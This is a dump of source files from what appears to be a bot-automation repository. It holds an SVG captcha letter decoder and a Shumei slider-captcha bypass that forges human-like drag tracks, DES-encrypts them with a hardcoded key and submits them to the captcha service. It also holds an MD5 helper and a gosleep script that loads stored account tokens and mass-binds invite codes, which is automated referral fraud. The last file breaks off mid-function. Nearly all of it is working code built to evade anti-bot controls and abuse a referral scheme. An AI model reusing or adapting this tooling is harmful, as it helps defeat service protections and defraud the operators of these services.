23 | 1473: ['i'], 24 | 1478: ['T'], 25 | 1491: ['r'], 26 | 1598: ['N', 'X'], 27 | 1601: ['T'], 28 | 1604: ['X'], 29 | 1610: ['J', 'x'], 30 | 1613: ['x'], 31 | 1614: ['N'], 32 | 1615: ['r', 'N'], 33 | 1616: ['N'], 34 | 1617: ['N'], 35 | 1618: ['N'], 36 | 1634: ['k'], 37 | 1637: ['k'], 38 | 1694: ['z', 't'], 39 | 1706: ['K'], 40 | 1709: ['K'], 41 | 1731: ['X', 'N'], 42 | 1744: ['x', 'J'], 43 | 1754: ['F'], 44 | 1770: ['k'], 45 | 1835: ['z', 't'], 46 | 1838: ['u'], 47 | 1840: ['A'], 48 | 1844: ['A'], 49 | 1848: ['K'], 50 | 1850: ['Z'], 51 | 1853: ['Z'], 52 | 1886: ['h'], 53 | 1900: ['F'], 54 | 1922: ['H'], 55 | 1928: ['H'], 56 | 1960: ['P'], 57 | 1991: ['u'], 58 | 1993: ['A'], 59 | 1996: ['D'], 60 | 2004: ['Z'], 61 | 2018: ['w'], 62 | 2035: ['w'], 63 | 2042: ['7'], 64 | 2043: ['h'], 65 | 2080: ['j'], 66 | 2082: ['H'], 67 | 2104: ['R'], 68 | 2107: ['R'], 69 | 2123: ['P'], 70 | 2140: ['4'], 71 | 2162: ['D'], 72 | 2164: ['O'], 73 | 2183: ['w'], 74 | 2198: ['n', 'C'], 75 | 2199: ['C'], 76 | 2200: ['C'], 77 | 2201: ['C'], 78 | 2202: ['C'], 79 | 2210: ['f'], 80 | 2212: ['7'], 81 | 2246: ['E'], 82 | 2253: ['j'], 83 | 2260: ['o'], 84 | 2272: ['d'], 85 | 2279: ['R', 'M'], 86 | 2282: ['M'], 87 | 2294: ['U'], 88 | 2301: ['U'], 89 | 2310: ['W'], 90 | 2318: ['4', 'W'], 91 | 2321: ['M'], 92 | 2332: ['a'], 93 | 2344: ['O'], 94 | 2345: ['W'], 95 | 2346: ['W'], 96 | 2366: ['s'], 97 | 2380: ['b'], 98 | 2381: ['n', 'C'], 99 | 2382: ['0'], 100 | 2394: ['f'], 101 | 2433: ['E'], 102 | 2448: ['o'], 103 | 2461: ['d'], 104 | 2464: ['p'], 105 | 2466: ['M'], 106 | 2485: ['U'], 107 | 2498: ['c'], 108 | 2501: ['e'], 109 | 2503: ['W'], 110 | 2512: ['q'], 111 | 2526: ['a'], 112 | 2546: ['2'], 113 | 2563: ['s'], 114 | 2578: ['b'], 115 | 2580: ['0'], 116 | 2606: ['5'], 117 | 2632: ['6'], 118 | 2669: ['p'], 119 | 2706: ['c'], 120 | 2709: ['e'], 121 | 2721: ['q'], 122 | 2758: ['2'], 123 | 2800: ['9'], 124 | 2823: ['5'], 125 | 2851: ['6'], 126 | 3033: ['9'], 127 | 3038: ['S'], 128 | 3054: ['B'], 129 | 3160: ['g'], 130 | 3244: ['Q'], 131 | 3254: ['Q'], 132 | 3266: ['G'], 133 | 3291: ['S'], 134 | 3308: ['B'], 135 | 3414: ['8'], 136 | 3423: ['g'], 137 | 3514: ['Q'], 138 | 3538: ['G'], 139 | 3663: ['m'], 140 | 3667: ['m'], 141 | 3698: ['8'], 142 | 3878: ['3'], 143 | 3968: ['m'], 144 | 4201: ['3'] 145 | } 146 | 147 | // 相同长度的两个字母,这里详细分析具体是哪个字母 148 | const lengthSameMap = { 149 | 986: path => utils.getMinXY(path)[1] > 13 ? 'I' : 'l', 150 | 1068: path => utils.getMinXY(path)[1] > 13 ? 'I' : 'l', 151 | 1274: path => utils.getMoveY(path) > 30 ? 'y' : 'L', // L y,根据第一个y值的大小可以区分它俩 152 | 1380: path => utils.getMoveY(path) > 30 ? 'y' : 'L', 153 | 1610: path => utils.getMinXY(path)[1] > 19 ? 'x' : 'J', 154 | 1744: path => utils.getMinXY(path)[1] > 19 ? 'x' : 'J', 155 | 1615: path => utils.getMinXY(path)[1] > 18 ? 'r' : 'N', 156 | 2198: path => utils.getMinXY(path)[1] > 19 ? 'n' : 'C', 157 | 2381: path => utils.getMinXY(path)[1] > 19 ? 'n' : 'C', 158 | 2318: path => utils.getWH(path)[0] > 30 ? 'W' : '4', 159 | 1598: path => utils.getMinXY(path)[1] > 13 ? 'X' : 'N', 160 | 1731: path => utils.getMinXY(path)[1] > 13 ? 'X' : 'N', 161 | 1694: path => utils.getMinXY(path)[1] > 22 ? 'z' : 't', 162 | 1835: path => utils.getMinXY(path)[1] > 22 ? 'z' : 't', 163 | 2279: path => utils.getMinXY(path)[1] > 13 ? 'R' : 'M' 164 | } 165 | 166 | // 从svg中把几个字母的d内容取出来,同时把字母按照它们在svg中的顺序排列 167 | const getLetters = (svg) => { 168 | let i = 0 169 | const letters = [] 170 | while (i < svg.length - 1 && i !== -1) { 171 | const pathStart = svg.indexOf('', pathStart) 176 | if (pathEnd === -1) { 177 | pathEnd = svg.length 178 | } else { 179 | pathEnd++ 180 | } 181 | 182 | // 太短的是噪点 183 | if (pathEnd - pathStart > 500) { 184 | const path = svg.substring(pathStart, pathEnd) 185 | const [, d] = path.match(/d="([^"]+)"/) || [] 186 | if (d) { 187 | letters.push(d) 188 | } 189 | } 190 | 191 | i = pathEnd 192 | } 193 | 194 | // 给字母按照位置排序 195 | if (letters.length) { 196 | letters.sort((a, b) => { 197 | const [ax] = a.match(/\d+(\.\d*)?/) 198 | const [bx] = b.match(/\d+(\.\d*)?/) 199 | return parseFloat(ax) - parseFloat(bx) 200 | }) 201 | } 202 | 203 | return letters 204 | } 205 | 206 | const utils = { 207 | getMoveY(path) { 208 | const [, , , moveY] = path.match(/M(\d+(\.\d*)?)\s+(\d+(\.\d*)?)/) || [] 209 | return parseFloat(moveY) 210 | }, 211 | 212 | getAllXY(path) { 213 | return (path.match(/(\d+(\.\d*)?)/g) || []).map(v => parseFloat(v)) 214 | }, 215 | 216 | getMinXY(path) { 217 | const xs = [] 218 | const ys = [] 219 | this.getAllXY(path).forEach((v, i) => { 220 | (i % 2 ? ys : xs).push(v) 221 | }) 222 | return [ 223 | Math.min(...xs), 224 | Math.min(...ys) 225 | ] 226 | }, 227 | 228 | // 获取宽高 229 | getWH(path) { 230 | const xs = [] 231 | const ys = [] 232 | this.getAllXY(path).forEach((v, i) => { 233 | (i % 2 ? ys : xs).push(v) 234 | }) 235 | const maxXY = [ 236 | Math.max(...xs), 237 | Math.max(...ys) 238 | ] 239 | const minXY = [ 240 | Math.min(...xs), 241 | Math.min(...ys) 242 | ] 243 | return [ 244 | maxXY[0] - minXY[0], 245 | maxXY[1] - minXY[1] 246 | ] 247 | } 248 | } 249 | 250 | 251 | function main(svg) { 252 | const letters = getLetters(svg) 253 | return letters.map(l => { 254 | if (lengthSameMap[l.length]) { 255 | return lengthSameMap[l.length](l) 256 | } 257 | const letters = lengthMap[l.length] || [''] 258 | if (!letters[0]) { // 这个值没有记录到 259 | console.log(`had not train : ${l}`) 260 | } 261 | return letters[0] 262 | }).join('') 263 | } 264 | -------------------------------------------------------------------------------- /数美验证/数美滑块_普通.py: -------------------------------------------------------------------------------- 1 | import base64 2 | import json 3 | import random 4 | import time 5 | 6 | import requests 7 | from Crypto.Cipher import DES 8 | from flask import Flask, request 9 | 10 | app = Flask(__name__) 11 | 12 | 13 | class HuaiKuaiGuiJi: 14 | def get_x_list_new(self, dis): 15 | v = 50 # 初速度 16 | t = 0.1 # 单位时间为0.02s来统计轨迹,轨迹即0.02内的位移 17 | tracks = [] # 位移/轨迹列表,列表内的一个元素代表0.02s的位移 18 | current = 0 # 当前的位移 19 | mid = dis * 3 / 5 # 到达mid值开始减速 20 | while current < dis: 21 | if current < mid: 22 | a = 50 # 加速度越小,单位时间的位移越小,模拟的轨迹就越多越详细 23 | else: 24 | a = -75 # 初速度 25 | v0 = v 26 | # 0.02秒时间内的位移 27 | s = v0 * t + 0.5 * a * (t ** 2) 28 | # 当前的位置 29 | current += s 30 | # 添加到轨迹列表 31 | tracks.append(round(current)) 32 | # 速度已经达到v,该速度作为下次的初速度 33 | v = v0 + a * t 34 | tracks[-1] = dis 35 | return tracks 36 | 37 | def get_y_list(self, num): 38 | # 上下浮动值,设置几个比较小的备选值 39 | # y_option = [0, 1, 2, 3, 4, 5, 6, 7, -7, -6, -5, -4, -3, -2, -1] 40 | change_point = num // 5 41 | y_list = [] 42 | # 先不考虑负值 43 | for i in range(num): 44 | if i <= change_point: 45 | y_list.append(random.randint(0, 1)) 46 | elif change_point < i <= change_point*2: 47 | y_list.append(random.randint(1, 2)) 48 | elif change_point*2 < i <= change_point*3: 49 | y_list.append(random.randint(2, 3)) 50 | elif change_point*3 < i <= change_point*4: 51 | y_list.append(random.randint(3, 4)) 52 | elif i > change_point*4: 53 | y_list.append(random.randint(4, 5)) 54 | return y_list 55 | 56 | def get_time_list(self, num): 57 | # 开始滑动的时间,设置几个随机值(单位毫米) 58 | init_times = [87, 75, 91, 103, 116, 121, 137, 140, 154] 59 | # 预计滑动需要的时间,设置几个随机值(单位毫秒) 60 | # total_time = [1020, 1234, 1106, 988, 1356, 1407] 61 | # 随机每步增长的时间大小 62 | stride_time = [101, 103, 106, 99, 97, 95] 63 | init_time = random.choice(init_times) 64 | time_list = [init_time] 65 | for i in range(num - 1): 66 | init_time += random.choice(stride_time) 67 | time_list.append(init_time) 68 | return time_list 69 | 70 | def get_tracks(self, dis): 71 | x_list = self.get_x_list_new(dis) 72 | y_list = self.get_y_list(len(x_list)) 73 | time_list = self.get_time_list(len(x_list)) 74 | traces = [[0, random.uniform(-5, 5), 0]] 75 | for x, y, t in zip(x_list, y_list, time_list): 76 | if x != 270.4: 77 | x = float(x)+random.uniform(-0.1, 0.1) 78 | traces.append([x, float(y)+random.uniform(-0.1, 0.1), t]) 79 | # print(traces) 80 | return traces 81 | 82 | 83 | class newDES: 84 | def __init__(self, key): 85 | self.length = DES.block_size 86 | self.des = DES.new(key.encode("utf8"), DES.MODE_ECB) 87 | self.unpad = lambda date: date[0:-ord(date[-1])] 88 | 89 | def pad(self, text): 90 | count = len(text.encode('utf8')) 91 | add = self.length - (count % self.length) 92 | entext = text + ("\x00" * add) 93 | return entext 94 | 95 | def encrypt(self, encrData): 96 | res = self.des.encrypt(self.pad(encrData).encode("utf8")) 97 | msg = base64.b64encode(res).decode("utf8") 98 | return msg 99 | 100 | def decrypt(self, decrData): 101 | res = base64.b64decode(decrData) 102 | msg = self.des.decrypt(res).hex() 103 | return msg 104 | 105 | 106 | def get_ua(): 107 | first_num = random.randint(55, 62) 108 | third_num = random.randint(0, 3200) 109 | fourth_num = random.randint(0, 140) 110 | os_type = ['(Windows NT 6.1; WOW64)', '(Windows NT 10.0; WOW64)', '(Macintosh; Intel Mac OS X 10_15_3)', '(Macintosh; Intel Mac OS X 10_12_6)'] 111 | chrome_version = 'Chrome/{}.0.{}.{}'.format(first_num, third_num, fourth_num) 112 | ua = ' '.join(['Mozilla/5.0', random.choice(os_type), 'AppleWebKit/537.36', '(KHTML, like Gecko)', chrome_version, 'Safari/537.36']) 113 | return ua 114 | 115 | 116 | def randStr(code_len=18): 117 | a = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789' 118 | b = random.choices(a, k=code_len) 119 | c = "".join(_ for _ in b) 120 | return c 121 | 122 | 123 | def custom_time(timestamp): 124 | time_local = time.localtime(timestamp) 125 | dt = time.strftime("%Y%m%d%H%M%S", time_local) 126 | return dt 127 | 128 | 129 | def main(auth): 130 | http = requests.Session() 131 | tt = int(time.time()*1000)-1000 132 | captchaUuid = custom_time(tt/1000)+randStr(18) 133 | 134 | res = json.loads(http.get(f'https://captcha.fengkongcloud.cn/ca/v1/register?sdkver=1.1.3&callback=sm_{tt}&captchaUuid={captchaUuid}'+'&organization='+auth+'&appId=default&lang=zh-cn&model=auto_slide&channel=DEFAULT&data={}&rversion=1.0.4', headers={"user-agent": get_ua()}).text[17:-1]) 135 | # print(res) 136 | rid = res["detail"]["rid"] 137 | 138 | tracks = huakuaiguiji.get_tracks(270.4) 139 | tracks_str = str(tracks).replace(" ", "") 140 | 141 | data = { 142 | "np": "Q9RGlYE66no=", 143 | "rversion": "1.0.4", 144 | "ep": des_ep.encrypt(tracks_str), 145 | "ostype": "web", 146 | "fa": "sDJWdVcg6HE=", 147 | "gl": "PukYNIBwXHM=", 148 | "zp": "jBkoDR8Ee5c=", 149 | "act.os": "web_mobile", 150 | "id": "fYBOhvyWKpE=", 151 | "ru": "BmzCXLz66yo=", 152 | "callback": f"sm_{int(time.time()*1000)}", 153 | "organization": auth, 154 | "sdkver": "1.1.3", 155 | "da": "Z3DH6L7gbhY=", 156 | "oi": "O8O3pJUAULw=", 157 | "protocol": "171", 158 | "rid": rid, 159 | "le": "B/MnfSfbK1M=", 160 | "ug": "MFJ0S5cL4uM=", 161 | "captchaUuid": captchaUuid, 162 | "pf": "TVOCUpnLT80=" 163 | } 164 | res = json.loads(http.get("https://captcha.fengkongcloud.cn/ca/v2/fverify", params=data, headers={"user-agent": get_ua()}).text[17:-1]) 165 | # print(res) 166 | http.close() 167 | print(rid, res["riskLevel"]) 168 | 169 | if __name__ == '__main__': 170 | huakuaiguiji = HuaiKuaiGuiJi() 171 | des_ep = newDES("2838a287") 172 | main("dLmNYoSLfTcetGyhtYyP") -------------------------------------------------------------------------------- /长安汽车/tools.js: -------------------------------------------------------------------------------- 1 | const rpn = require('request-promise-native'); 2 | const uuid = require("uuid") 3 | 4 | tools = {} 5 | 6 | tools.md5 = function (str) { 7 | return v(h(f(m(str), 8 * str.length))) 8 | } 9 | 10 | tools.http = async function (options) { 11 | let res = await rpn(options); 12 | return res 13 | } 14 | 15 | tools.uuid = function () { 16 | return uuid.v4() 17 | } 18 | 19 | tools.random = function (Min, Max) { 20 | var Range = Max - Min; 21 | var Rand = Math.random(); 22 | var num = Min + Math.round(Rand * Range); 23 | return num; 24 | } 25 | 26 | tools.sleep = function (ms) { 27 | return new Promise(resolve=>setTimeout(resolve, ms)) 28 | } 29 | 30 | function v(t) { 31 | var e, n, r = "0123456789abcdef", i = ""; 32 | for (n = 0; n < t.length; n += 1) 33 | e = t.charCodeAt(n), 34 | i += r.charAt(e >>> 4 & 15) + r.charAt(15 & e); 35 | return i 36 | } 37 | 38 | function h(t) { 39 | var e, n = "", r = 32 * t.length; 40 | for (e = 0; e < r; e += 8) 41 | n += String.fromCharCode(t[e >> 5] >>> e % 32 & 255); 42 | return n 43 | } 44 | function f(t, e) { 45 | var n, r, i, o, s; 46 | t[e >> 5] |= 128 << e % 32, 47 | t[14 + (e + 64 >>> 9 << 4)] = e; 48 | var f = 1732584193 49 | , h = -271733879 50 | , m = -1732584194 51 | , p = 271733878; 52 | for (n = 0; n < t.length; n += 16) 53 | r = f, 54 | i = h, 55 | o = m, 56 | s = p, 57 | f = u(f, h, m, p, t[n], 7, -680876936), 58 | p = u(p, f, h, m, t[n + 1], 12, -389564586), 59 | m = u(m, p, f, h, t[n + 2], 17, 606105819), 60 | h = u(h, m, p, f, t[n + 3], 22, -1044525330), 61 | f = u(f, h, m, p, t[n + 4], 7, -176418897), 62 | p = u(p, f, h, m, t[n + 5], 12, 1200080426), 63 | m = u(m, p, f, h, t[n + 6], 17, -1473231341), 64 | h = u(h, m, p, f, t[n + 7], 22, -45705983), 65 | f = u(f, h, m, p, t[n + 8], 7, 1770035416), 66 | p = u(p, f, h, m, t[n + 9], 12, -1958414417), 67 | m = u(m, p, f, h, t[n + 10], 17, -42063), 68 | h = u(h, m, p, f, t[n + 11], 22, -1990404162), 69 | f = u(f, h, m, p, t[n + 12], 7, 1804603682), 70 | p = u(p, f, h, m, t[n + 13], 12, -40341101), 71 | m = u(m, p, f, h, t[n + 14], 17, -1502002290), 72 | h = u(h, m, p, f, t[n + 15], 22, 1236535329), 73 | f = c(f, h, m, p, t[n + 1], 5, -165796510), 74 | p = c(p, f, h, m, t[n + 6], 9, -1069501632), 75 | m = c(m, p, f, h, t[n + 11], 14, 643717713), 76 | h = c(h, m, p, f, t[n], 20, -373897302), 77 | f = c(f, h, m, p, t[n + 5], 5, -701558691), 78 | p = c(p, f, h, m, t[n + 10], 9, 38016083), 79 | m = c(m, p, f, h, t[n + 15], 14, -660478335), 80 | h = c(h, m, p, f, t[n + 4], 20, -405537848), 81 | f = c(f, h, m, p, t[n + 9], 5, 568446438), 82 | p = c(p, f, h, m, t[n + 14], 9, -1019803690), 83 | m = c(m, p, f, h, t[n + 3], 14, -187363961), 84 | h = c(h, m, p, f, t[n + 8], 20, 1163531501), 85 | f = c(f, h, m, p, t[n + 13], 5, -1444681467), 86 | p = c(p, f, h, m, t[n + 2], 9, -51403784), 87 | m = c(m, p, f, h, t[n + 7], 14, 1735328473), 88 | h = c(h, m, p, f, t[n + 12], 20, -1926607734), 89 | f = l(f, h, m, p, t[n + 5], 4, -378558), 90 | p = l(p, f, h, m, t[n + 8], 11, -2022574463), 91 | m = l(m, p, f, h, t[n + 11], 16, 1839030562), 92 | h = l(h, m, p, f, t[n + 14], 23, -35309556), 93 | f = l(f, h, m, p, t[n + 1], 4, -1530992060), 94 | p = l(p, f, h, m, t[n + 4], 11, 1272893353), 95 | m = l(m, p, f, h, t[n + 7], 16, -155497632), 96 | h = l(h, m, p, f, t[n + 10], 23, -1094730640), 97 | f = l(f, h, m, p, t[n + 13], 4, 681279174), 98 | p = l(p, f, h, m, t[n], 11, -358537222), 99 | m = l(m, p, f, h, t[n + 3], 16, -722521979), 100 | h = l(h, m, p, f, t[n + 6], 23, 76029189), 101 | f = l(f, h, m, p, t[n + 9], 4, -640364487), 102 | p = l(p, f, h, m, t[n + 12], 11, -421815835), 103 | m = l(m, p, f, h, t[n + 15], 16, 530742520), 104 | h = l(h, m, p, f, t[n + 2], 23, -995338651), 105 | f = d(f, h, m, p, t[n], 6, -198630844), 106 | p = d(p, f, h, m, t[n + 7], 10, 1126891415), 107 | m = d(m, p, f, h, t[n + 14], 15, -1416354905), 108 | h = d(h, m, p, f, t[n + 5], 21, -57434055), 109 | f = d(f, h, m, p, t[n + 12], 6, 1700485571), 110 | p = d(p, f, h, m, t[n + 3], 10, -1894986606), 111 | m = d(m, p, f, h, t[n + 10], 15, -1051523), 112 | h = d(h, m, p, f, t[n + 1], 21, -2054922799), 113 | f = d(f, h, m, p, t[n + 8], 6, 1873313359), 114 | p = d(p, f, h, m, t[n + 15], 10, -30611744), 115 | m = d(m, p, f, h, t[n + 6], 15, -1560198380), 116 | h = d(h, m, p, f, t[n + 13], 21, 1309151649), 117 | f = d(f, h, m, p, t[n + 4], 6, -145523070), 118 | p = d(p, f, h, m, t[n + 11], 10, -1120210379), 119 | m = d(m, p, f, h, t[n + 2], 15, 718787259), 120 | h = d(h, m, p, f, t[n + 9], 21, -343485551), 121 | f = a(f, r), 122 | h = a(h, i), 123 | m = a(m, o), 124 | p = a(p, s); 125 | return [f, h, m, p] 126 | } 127 | function a(t, e) { 128 | var n = (65535 & t) + (65535 & e) 129 | , r = (t >> 16) + (e >> 16) + (n >> 16); 130 | return r << 16 | 65535 & n 131 | } 132 | function o(t, e) { 133 | return t << e | t >>> 32 - e 134 | } 135 | function s(t, e, n, r, i, s) { 136 | return a(o(a(a(e, t), a(r, s)), i), n) 137 | } 138 | function u(t, e, n, r, i, a, o) { 139 | return s(e & n | ~e & r, t, e, i, a, o) 140 | } 141 | function c(t, e, n, r, i, a, o) { 142 | return s(e & r | n & ~r, t, e, i, a, o) 143 | } 144 | function l(t, e, n, r, i, a, o) { 145 | return s(e ^ n ^ r, t, e, i, a, o) 146 | } 147 | function d(t, e, n, r, i, a, o) { 148 | return s(n ^ (e | ~r), t, e, i, a, o) 149 | } 150 | function m(t) { 151 | var e, n = []; 152 | for (n[(t.length >> 2) - 1] = void 0, 153 | e = 0; e < n.length; e += 1) 154 | n[e] = 0; 155 | var r = 8 * t.length; 156 | for (e = 0; e < r; e += 8) 157 | n[e >> 5] |= (255 & t.charCodeAt(e / 8)) << e % 32; 158 | return n 159 | } 160 | 161 | module.exports = tools -------------------------------------------------------------------------------- /gosleep/bindInvite.py: -------------------------------------------------------------------------------- 1 | import base64 2 | import binascii 3 | import hashlib 4 | import json 5 | import random 6 | import re 7 | import threading 8 | import time 9 | import datetime 10 | 11 | import requests 12 | from Crypto.Cipher import AES 13 | 14 | 15 | class AESUtil(object): 16 | __BLOCK_SIZE_16 = BLOCK_SIZE_16 = AES.block_size 17 | 18 | def __init__(self, key, iv): 19 | self.key = key 20 | self.iv = iv 21 | 22 | def encryt(self, str): 23 | cipher = AES.new(self.key, AES.MODE_CBC, self.iv) 24 | x = AESUtil.__BLOCK_SIZE_16 - (len(str) % AESUtil.__BLOCK_SIZE_16) 25 | if x != 0: 26 | str = str + chr(x)*x 27 | msg = cipher.encrypt(str.encode("utf8")) 28 | 29 | return msg 30 | 31 | def decrypt(self, decryptByts): 32 | cipher = AES.new(self.key, AES.MODE_CBC, self.iv) 33 | msg = cipher.decrypt(decryptByts).decode() 34 | paddingLen = ord(msg[len(msg)-1]) 35 | return msg[0:-paddingLen] 36 | 37 | 38 | def ec(func): 39 | def warp(*args): 40 | try: 41 | return func(*args) 42 | except BaseException: 43 | return warp(*args) 44 | return warp 45 | 46 | 47 | def md5(str): 48 | return hashlib.md5(bytes(str, encoding="utf8")).hexdigest() 49 | 50 | 51 | def randDevice_id(): 52 | ranstr = '0123456789abcde' 53 | returnStr = ''.join(random.choice(ranstr) for _ in range(16)) 54 | return returnStr 55 | 56 | 57 | def random09(lin): 58 | returnStr = '' 59 | for _ in range(lin): 60 | returnStr += str(random.randint(0, 9)) 61 | return returnStr 62 | 63 | 64 | def rand_email(code_len=8): 65 | e = ["@teml.net", "@tmpbox.net", "@moakt.cc", "@disbox.net", "@tmpmail.org", "@tmpmail.net", "@tmails.net", "@disbox.org", "@moakt.co", "@moakt.ws", "@tmail.ws", "@bareed.ws"] 66 | a = '0123456789abcdefghijklmnopqrstuvwxyz' 67 | b = random.choices(a, k=code_len) 68 | c = "".join(_ for _ in b) 69 | return c + random.choice(e) 70 | 71 | 72 | def getHeaders(tt, authorization="", uid="0"): 73 | headers = { 74 | "Accept-Language": "zh", 75 | "User-Agent": "Android", 76 | "equipment": "Xiaomi Mi 10 Pro 10", 77 | "authorization": authorization, 78 | "version": "202", 79 | "TIMESTAMP": tt, 80 | "UID": uid, 81 | "LANGUAGE": "HK" 82 | } 83 | return headers 84 | 85 | 86 | def getTime(): 87 | tt = int(time.time()) 88 | return str(tt), hex(tt)[2:].rjust(12, '0') 89 | 90 | 91 | def getInfo(res): 92 | lp = ["data", "datb", "datc", "datd", "date", "datg", "dath", "dati", "datj", "datk", "datl", "datm", "datn", "dato", "datp", "datq", "datr", "dats", "datt", "datu", "datv", "datw", "datx", "daty", "datz", "dat~", "dat1", "dat2", "dat3", "dat4", "dat5", "dat6", "dat7", "dat8", "dat9", "dat0", "dat-", "dat+", "dat_", "dat=", "dat)", "dat(", "dat^", "dat%", "dat#", "dat!", "dat.", "dat,", "dat>", "dat<", "dat|", "dat*", "dat/", "dat`"] 93 | for i in lp: 94 | if i in res: 95 | key_b64 = res[i]["access_01"] 96 | iv_b64 = res[i]["access_02"] 97 | email = res[i]["email"] 98 | authorization = res[i]["token"] 99 | uid = res[i]["uid"] 100 | print(key_b64, iv_b64, email, authorization, uid) 101 | return key_b64, iv_b64, email, authorization, uid 102 | 103 | 104 | def login_token(device_id, authorization, uid): 105 | tt, tt_hex = getTime() 106 | aes = AESUtil("/login_api/token".encode(), binascii.a2b_hex(f'{tt_hex}00000000000000000000')) 107 | sign = md5('channel=GPID_And_001&device_id='+device_id+'&language=HK&machine=Xiaomi-Mi 10 Pro&main_version=202&os=Android¶ms={"access_token":"'+authorization+'"}&platform=10&time_zone=Asia/Shanghai&uid='+uid+'&unity_version=0&version=2.0.28@j#1h@vpo#@ss4tnfz+aa^k@e2zu8kd_+ftnd)=&=r4ag6&b') 108 | data = aes.encryt('{"channel":"GPID_And_001","device_id":"'+device_id+'","language":"HK","machine":"Xiaomi-Mi 10 Pro","main_version":202,"os":"Android","params":{"access_token":"'+authorization+'"},"platform":"10","sign":"'+sign+'","time_zone":"Asia/Shanghai","uid":'+uid+',"unity_version":0,"version":"2.0.2"}') 109 | res_content = requests.post("https://app.gosleep.pro/login_api/token_login", data, headers=getHeaders(tt, authorization, uid), stream=True).content 110 | res = json.loads(aes.decrypt(res_content)) 111 | key_b64, iv_b64, email, authorization, uid = getInfo(res) 112 | return key_b64, iv_b64, email, authorization, uid 113 | 114 | @ec 115 | def bind_invite_code(key, iv, device_id, authorization, uid, inviter_code): 116 | tt, tt_hex = getTime() 117 | aes = AESUtil(binascii.a2b_hex(key), binascii.a2b_hex(f"{iv}{tt_hex}")) 118 | sign = md5('channel=GPID_And_001&device_id='+device_id+'&language=HK&machine=Xiaomi-Mi 10 Pro&main_version=202&os=Android¶ms={"inviter_code":"'+inviter_code+'"}&platform=10&time_zone=Asia/Shanghai&uid='+uid+'&unity_version=0&version=2.0.28@j#1h@vpo#@ss4tnfz+aa^k@e2zu8kd_+ftnd)=&=r4ag6&b') 119 | data = aes.encryt('{"channel":"GPID_And_001","device_id":"'+device_id+'","language":"HK","machine":"Xiaomi-Mi 10 Pro","main_version":202,"os":"Android","params":{"inviter_code":"'+inviter_code+'"},"platform":"10","sign":"'+sign+'","time_zone":"Asia/Shanghai","uid":'+uid+',"unity_version":0,"version":"2.0.2"}') 120 | res = requests.post("https://app.gosleep.pro/invite_api/bind_invite_code", data, headers=getHeaders(tt, authorization, uid)).content 121 | print(aes.decrypt(res)) 122 | 123 | 124 | @ec 125 | def get_user_info(key, iv, device_id, authorization, uid): 126 | tt, tt_hex = getTime() 127 | aes = AESUtil(binascii.a2b_hex(key), binascii.a2b_hex(f"{iv}{tt_hex}")) 128 | sign = md5('channel=GPID_And_001&device_id='+device_id+'&language=HK&machine=Xiaomi-Mi 10 Pro&main_version=202&os=Android¶ms={}&platform=10&time_zone=Asia/Shanghai&uid='+uid+'&unity_version=0&version=2.0.28@j#1h@vpo#@ss4tnfz+aa^k@e2zu8kd_+ftnd)=&=r4ag6&b') 129 | data = aes.encryt('{"channel":"GPID_And_001","device_id":"'+device_id+'","language":"HK","machine":"Xiaomi-Mi 10 Pro","main_version":202,"os":"Android","params":{},"platform":"10","sign":"'+sign+'","time_zone":"Asia/Shanghai","uid":'+uid+',"unity_version":0,"version":"2.0.2"}') 130 | res_content = requests.post("https://app.gosleep.pro/user_api/get_user_info", data, headers=getHeaders(tt, authorization, uid), stream=True).content 131 | res = json.loads(aes.decrypt(res_content)) 132 | invitation_code = res["data"]["invitation_code"] 133 | ntoken = res["data"]["ntoken"] 134 | print("get_user_info", uid, ntoken/10000, invitation_code) 135 | return invitation_code 136 | 137 | 138 | zh_list2 = open("./gosleep/zh2.txt").read().split("\n") 139 | zh_list3 = open("./gosleep/zh3.txt").read().split("\n") 140 | ranges = range(27 - 1, 99999) 141 | for i in ranges: 142 | print(f"------------------------------{i+1}------") 143 | _, _, invite, _, _, _, _ = zh_list2[i].split("|") 144 | for ii in range((i*3),(i*3)+3): 145 | email, uid, _, key_b64, iv_b64, device_id, authorization = zh_list3[ii].split("|") 146 | key, iv = base64.b64decode(key_b64).hex(), base64.b64decode(iv_b64).hex() 147 | bind_invite_code(key, iv, device_id, authorization, uid, invite) 148 | -------------------------------------------------------------------------------- /数美验证/数美滑块_带缺口.py: -------------------------------------------------------------------------------- 1 | import base64 2 | import json 3 | import os 4 | import random 5 | import time 6 | from io import BytesIO 7 | 8 | import requests 9 | from Crypto.Cipher import DES 10 | from ddddocr import DdddOcr 11 | from PIL import Image 12 | from flask import Flask, request 13 | 14 | app = Flask(__name__) 15 | 16 | 17 | class HuaiKuaiGuiJi: 18 | @staticmethod 19 | def get_x_list(dis): 20 | stride = dis / 80 21 | x_list = [] 22 | for i in range(79): 23 | x = random.uniform(i * stride, (i + 1) * stride) 24 | x_list.append(int(x)) 25 | x_list.append(dis) 26 | return x_list 27 | 28 | @staticmethod 29 | def get_x_list_new(dis): 30 | v = 50 # 初速度 31 | t = 0.1 # 单位时间为0.02s来统计轨迹,轨迹即0.02内的位移 32 | tracks = [] # 位移/轨迹列表,列表内的一个元素代表0.02s的位移 33 | current = 0 # 当前的位移 34 | mid = dis * 3 / 5 # 到达mid值开始减速 35 | while current < dis: 36 | if current < mid: 37 | a = 50 # 加速度越小,单位时间的位移越小,模拟的轨迹就越多越详细 38 | else: 39 | a = -75 # 初速度 40 | v0 = v 41 | # 0.02秒时间内的位移 42 | s = v0 * t + 0.5 * a * (t ** 2) 43 | # 当前的位置 44 | current += s 45 | # 添加到轨迹列表 46 | tracks.append(round(current)) 47 | # 速度已经达到v,该速度作为下次的初速度 48 | v = v0 + a * t 49 | tracks[-1] = dis 50 | return tracks 51 | 52 | @staticmethod 53 | def get_y_list(num): 54 | # 上下浮动值,设置几个比较小的备选值 55 | # y_option = [0, 1, 2, 3, 4, 5, 6, 7, -7, -6, -5, -4, -3, -2, -1] 56 | change_point = num // 5 57 | y_list = [] 58 | # 先不考虑负值 59 | for i in range(num): 60 | if i <= change_point: 61 | y_list.append(random.randint(0, 1)) 62 | elif change_point < i <= change_point*2: 63 | y_list.append(random.randint(1, 2)) 64 | elif change_point*2 < i <= change_point*3: 65 | y_list.append(random.randint(2, 3)) 66 | elif change_point*3 < i <= change_point*4: 67 | y_list.append(random.randint(3, 4)) 68 | elif i > change_point*4: 69 | y_list.append(random.randint(4, 5)) 70 | return y_list 71 | 72 | @staticmethod 73 | def get_time_list(num): 74 | # 开始滑动的时间,设置几个随机值(单位毫米) 75 | init_times = [87, 75, 91, 103, 116, 121, 137, 140, 154] 76 | # 预计滑动需要的时间,设置几个随机值(单位毫秒) 77 | # 